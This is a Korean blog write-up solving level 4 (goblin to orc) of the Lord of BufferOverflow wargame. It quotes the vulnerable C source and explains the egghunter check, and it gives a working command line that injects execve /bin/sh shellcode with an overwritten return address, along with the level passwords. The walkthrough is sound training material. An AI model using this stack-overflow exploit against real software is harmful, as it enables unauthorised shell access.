Write up (Wargame)/LOB

[Lord Of Bufferoverflow] 4. goblin -> orc 풀이

2022. 5. 18. 14:32
목차
  1. 탐색전
  2. 풀이
반응형

계속 하십시오체를 썼는데, 저도 모르게 하다체로 계속 쓰다가 바꾸던 거라. 그냥 해라체로 써야겠습니다.

 

 

login : goblin

password : hackers proof

 

탐색전


cat orc.c

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}

이번 문제는 buf의 크기가 존재하고 extern char라는 부분이 생겼다. buf의 크기는 40으로 꽤나 큰 편이고, main 함수에서 인자를 받는다.

extern char **environ 부분은 외부에 있는 환경변수를 가져온다.

egghunter 부분에서는 memset을 이용해서 환경변수를 초기화하므로 환경변수를 이용한 기법을 사용하기 어렵다.

인자의 47번 인덱스, 다시말해 48번째에서는 \xbf의 값이 들어가야 한다.

 

이걸 보면 그냥 다시 Return to Shell 하라는 게 의도인 것 같다. 환경변수도 사용하지 않고. 이전까지 주소의 시작이 모두 0xbf~~ 이런 식으로 되어있었으니.

 

 

cp orc myc

 

풀이


일부러 segfault를 일으켜서 core dump. core file을 들여다보겠다.

 

보면 0xbffffac0 부분이 buf의 시작주소임을 유추할 수 있다.

buf에 쉘코드를 넣고 실행 흐름을 buf의 주소로 돌리겠다.

 

./myc $(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'+'\x90'*(15+4)+'\xc0\xfa\xff\xbf' ")

 

 

쉘이 얻어지므로 이제 orc에서 해보자

 

cantata

 

짜잔

반응형
  1. 탐색전
  2. 풀이
'Write up (Wargame)/LOB' 카테고리의 다른 글
  • [Lord Of Bufferoverflow] 6. wolfman -> darkelf 풀이
  • [Lord Of Bufferoverflow] 5. orc -> wolfman 풀이
  • [Lord Of Bufferoverflow] 3. cobolt -> goblin 풀이
  • [Lord Of Bufferoverflow] 2. gremlin -> cobolt 풀이
그믐​
그믐​
그믐​
neutrinox4b1
그믐​
전체
오늘
어제
  • 분류 전체보기 (288)
    • Write up (Wargame) (121)
      • Pwnable (60)
      • Reversing (0)
      • Web Hacking (8)
      • Forensic (1)
      • Cryptography (6)
      • LOB (10)
      • misc (0)
      • SF pwnable 기초 (10)
      • SF pwnable 심화 (1)
      • LOS (25)
    • Security (73)
      • 시스템 해킹(PWN, System) (21)
      • 리버싱(Reverse Engineering) (1)
      • 포렌식(Forensic) (3)
      • 암호학(Cryptography) (44)
      • 네트워크(Network) (1)
      • 임베디드(Emebedded) (0)
    • Develop & CS (38)
      • Algorithm & Data Structure (6)
      • Baekjoon (11)
      • C, C++ (8)
      • Python (2)
      • R (1)
      • etc (8)
    • 프로젝트(Project) (7)
      • 시간표&급식 파싱 (1)
      • 남방진동지수 (1)
      • 네트워크 해킹 (5)
    • Daily life (44)
      • My Book (10)
      • Book Review (1)
      • IT Review (1)
      • 일상 팁 (19)
      • 네트워크관리사 (2)
      • 근황 (11)
    • 수학&과학(Mathematics & Science.. (4)

인기 글

공지사항

  • Wargame, CTF별 검색 키워드 정리
hELLO · Designed By 정상우.
그믐​
[Lord Of Bufferoverflow] 4. goblin -> orc 풀이
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.